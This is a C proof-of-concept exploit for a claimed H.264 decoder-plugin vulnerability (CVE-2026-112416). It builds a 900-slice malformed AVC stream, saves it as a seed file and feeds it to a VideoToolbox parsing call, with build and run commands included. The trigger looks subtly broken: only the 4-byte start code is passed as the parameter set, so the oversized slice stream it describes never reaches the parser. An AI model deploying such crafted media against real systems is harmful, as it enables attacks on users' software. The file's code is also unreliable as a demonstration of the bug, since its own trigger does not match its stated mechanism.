// vid.avc · AVD.videodecoder plugin (userspace, not kext) · CVE-2026-112416
// H.264 slice count beyond the plugin cap
// C twin of the Swift POC: builds the 900-slice AVC stream and drives it through
// CMVideoFormatDescriptionCreateFromH264ParameterSets.
// Build: clang -O2 -o cve-2026-112416 CVE-2026-112416.c -framework VideoToolbox -framework CoreMedia -framework CoreFoundation
// Run:   ./cve-2026-112416 [slice-count]

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// ── byte buffer ──
typedef struct { uint8_t *d; size_t n, cap; } buf;
static void bneed(buf *b, size_t extra) {
    if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
}
static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; }
static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }

// ── seed construction (from Cinder27 Sources: VideoPayload.avcManySlices) ──
static buf avc_many_slices(int slice_count) {
    buf out = {0};
    bcat(&out, "\x00\x00\x00\x01", 4);                       // start code
    bcat(&out, (uint8_t[]){0x67, 0x42, 0x00, 0x1E}, 4);      // SPS
    bcat(&out, (uint8_t[]){0xE8, 0x38, 0x00}, 3);            // exp-golomb fields
    brep(&out, 0, 8);                                        // structurally plausible tail
    bcat(&out, "\x00\x00\x00\x01", 4);
    bcat(&out, (uint8_t[]){0x68, 0xCE, 0x38, 0x80}, 4);      // PPS
    for (int i = 0; i < slice_count; i++) {
        bcat(&out, "\x00\x00\x00\x01", 4);
        bcat(&out, (uint8_t[]){0x65, (uint8_t)(0x88 | (i & 0x03)), 0x84, 0x00}, 4);   // slice header
        brep(&out, 0, 4);
    }
    return out;
}

// ── trigger: parameter-set parse through VideoToolbox ──
#include <VideoToolbox/VideoToolbox.h>
#include <CoreMedia/CoreMedia.h>
#include <CoreFoundation/CoreFoundation.h>

int main(int argc, char **argv) {
    int slice_count = argc > 1 ? atoi(argv[1]) : 900;

    buf data = avc_many_slices(slice_count);
    FILE *f = fopen("avc_900_slices.h264", "wb");
    if (f) { fwrite(data.d, 1, data.n, f); fclose(f); }

    CMFormatDescriptionRef format = NULL;
    const uint8_t *ptr = data.d;
    OSStatus status = CMVideoFormatDescriptionCreateFromH264ParameterSets(
        kCFAllocatorDefault,
        1,              // one parameter set: the first 4 bytes, as the Swift POC passes
        &ptr,
        (size_t[]){4},
        4,              // 4-byte NAL unit header length
        &format);

    printf("CVE-2026-112416 · %d slices in stream · OSStatus %d\n", slice_count, (int)status);
    if (format) {
        CMVideoDimensions dims = CMVideoFormatDescriptionGetDimensions(format);
        printf("decoder accepted the parameter set · dimensions %d x %d\n", dims.width, dims.height);
        CFRelease(format);
    } else {
        printf("no format description produced (rejected at entry)\n");
    }
    printf("seed: avc_900_slices.h264 (%zu B) · exit code %d\n", data.n, (int)(status == noErr ? 0 : 1));
    int rc = status == noErr ? 0 : 1;
    bfree(&data);
    return rc;
}